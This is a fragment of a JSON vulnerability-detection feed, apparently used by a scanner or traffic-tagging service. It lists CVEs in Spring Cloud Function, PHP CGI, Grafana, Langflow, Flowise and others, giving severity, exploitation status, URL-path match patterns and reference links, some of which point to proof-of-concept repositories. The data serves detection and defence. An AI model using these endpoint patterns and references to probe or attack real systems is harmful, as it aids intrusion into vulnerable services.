Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2026-56270","tag_type":"cve","title":"Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/loginmethod","reference_urls":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6pcv-j4jx-m4vx","https://nvd.nist.gov/vuln/detail/CVE-2026-56270"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-10-06T20:37:53.380418+00:00"}